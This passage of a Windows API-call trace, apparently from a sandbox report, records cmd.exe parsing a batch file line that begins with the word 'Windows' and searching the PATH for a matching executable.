0x20b0f920000 [0232.703] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0232.703] GetProcessHeap () returned 0x20b0f920000 [0232.703] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0232.703] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0232.703] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0232.703] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0232.703] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0232.703] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0232.703] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0232.703] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0232.703] GetProcessHeap () returned 0x20b0f920000 [0232.703] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0232.703] GetProcessHeap () returned 0x20b0f920000 [0232.703] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0232.703] GetProcessHeap () returned 0x20b0f920000 [0232.703] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xa8) returned 0x20b0f9259d0 [0232.703] _tell (_FileHandle=3) returned 4895 [0232.703] _close (_FileHandle=3) returned 0 [0232.704] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0232.704] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.704] GetFileType (hFile=0x50) returned 0x2 [0232.704] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.704] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0232.704] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.705] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0232.709] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0232.709] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0232.709] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0232.709] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.709] GetFileType (hFile=0x50) returned 0x2 [0232.709] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.709] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0232.710] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.710] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0232.710] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.710] GetFileType (hFile=0x50) returned 0x2 [0232.710] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.710] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0232.711] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.711] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0232.711] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 76 [0232.711] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.711] GetFileType (hFile=0x50) returned 0x2 [0232.711] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.711] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0232.711] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.711] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4c, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4c) returned 1 [0232.712] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0232.712] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.712] GetFileType (hFile=0x50) returned 0x2 [0232.712] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.712] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0232.712] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.712] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0232.716] malloc (_Size=0xffce) returned 0x20b0fa60940 [0232.717] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0232.717] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.717] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.717] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.717] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.717] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.717] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.717] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.717] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.717] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.717] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.717] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.717] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.717] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.717] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.718] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.718] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.718] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.718] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.718] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.718] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.718] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.718] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.718] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.718] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.718] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.718] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.718] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.718] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.718] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.718] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.718] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.718] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.718] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.718] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.718] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.718] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.718] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.718] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.718] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.718] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.718] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.718] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.718] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0232.718] malloc (_Size=0xffce) returned 0x20b0fa70920 [0232.718] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0232.719] GetProcessHeap () returned 0x20b0f920000 [0232.719] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0232.723] SetErrorMode (uMode=0x0) returned 0x0 [0232.723] SetErrorMode (uMode=0x1) returned 0x0 [0232.723] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0232.723] SetErrorMode (uMode=0x0) returned 0x1 [0232.723] GetProcessHeap () returned 0x20b0f920000 [0232.723] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0232.723] GetProcessHeap () returned 0x20b0f920000 [0232.723] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0232.723] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0232.723] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0232.723] GetProcessHeap () returned 0x20b0f920000 [0232.723] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947890 [0232.723] GetProcessHeap () returned 0x20b0f920000 [0232.723] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0232.723] GetProcessHeap () returned 0x20b0f920000 [0232.723] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0232.723] GetProcessHeap () returned 0x20b0f920000 [0232.723] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0232.723] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0232.723] GetProcessHeap () returned 0x20b0f920000 [0232.723] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f9470a0 [0232.723] GetProcessHeap () returned 0x20b0f920000 [0232.723] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9470a0, Size=0x7e) returned 0x20b0f956760 [0232.724] GetProcessHeap () returned 0x20b0f920000 [0232.724] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956760) returned 0x7e [0232.724] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.724] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d090 [0232.724] FindClose (in: hFindFile=0x20b0f92d090 | out: hFindFile=0x20b0f92d090) returned 1 [0232.724] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.724] GetLastError () returned 0x2 [0232.724] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.725] GetLastError () returned 0x2 [0232.725] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.725] GetLastError () returned 0x2 [0232.725] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.725] GetLastError () returned 0x2 [0232.725] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.725] GetLastError () returned 0x2 [0232.725] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.725] GetLastError () returned 0x2 [0232.725] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.725] GetLastError () returned 0x2 [0232.726] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.726] GetLastError () returned 0x2 [0232.726] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.726] GetLastError () returned 0x2 [0232.726] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.726] GetLastError () returned 0x2 [0232.726] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.726] GetLastError () returned 0x2 [0232.726] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.726] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.727] GetLastError () returned 0x2 [0232.727] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.727] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cf70 [0232.727] FindClose (in: hFindFile=0x20b0f92cf70 | out: hFindFile=0x20b0f92cf70) returned 1 [0232.727] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.727] GetLastError () returned 0x2 [0232.727] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.727] GetLastError () returned 0x2 [0232.727] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.728] GetLastError () returned 0x2 [0232.728] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.728] GetLastError () returned 0x2 [0232.728] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.728] GetLastError () returned 0x2 [0232.728] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.728] GetLastError () returned 0x2 [0232.728] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.728] GetLastError () returned 0x2 [0232.728] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.729] GetLastError () returned 0x2 [0232.729] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.729] GetLastError () returned 0x2 [0232.729] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.729] GetLastError () returned 0x2 [0232.729] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.729] GetLastError () returned 0x2 [0232.729] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.729] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.729] GetLastError () returned 0x2 [0232.730] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.730] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.730] GetLastError () returned 0x2 [0232.730] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.730] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.730] GetLastError () returned 0x2 [0232.730] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.730] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.730] GetLastError () returned 0x2 [0232.730] ??_V@YAXPEAX@Z () returned 0x1 [0232.730] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0232.732] malloc (_Size=0xffce) returned 0x20b0fa70920 [0232.732] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0232.732] malloc (_Size=0xffce) returned 0x20b0fa80900 [0232.732] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0232.732] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.732] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.732] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.732] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.732] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.732] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.732] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.732] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.732] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.733] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.733] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.733] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.733] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.733] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.733] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.733] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.733] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.733] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.733] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.733] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.733] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.733] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.733] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.733] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.733] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.733] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.733] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.733] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.733] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.733] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.733] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.733] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.733] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.733] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.733] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.733] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.733] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.733] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.733] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.733] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.734] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.734] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.734] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.734] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.734] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.734] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.734] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.734] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.734] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.734] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.734] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.734] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.734] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.734] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.734] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.734] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.734] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.734] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.734] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.734] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.734] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.734] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.734] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.734] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.734] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.734] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.734] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.734] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.734] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.734] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.734] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.734] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.734] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.734] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.735] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.735] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.735] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.735] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.735] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.735] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.735] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.735] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.735] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.735] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.735] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0232.735] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0232.735] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0232.735] ??_V@YAXPEAX@Z () 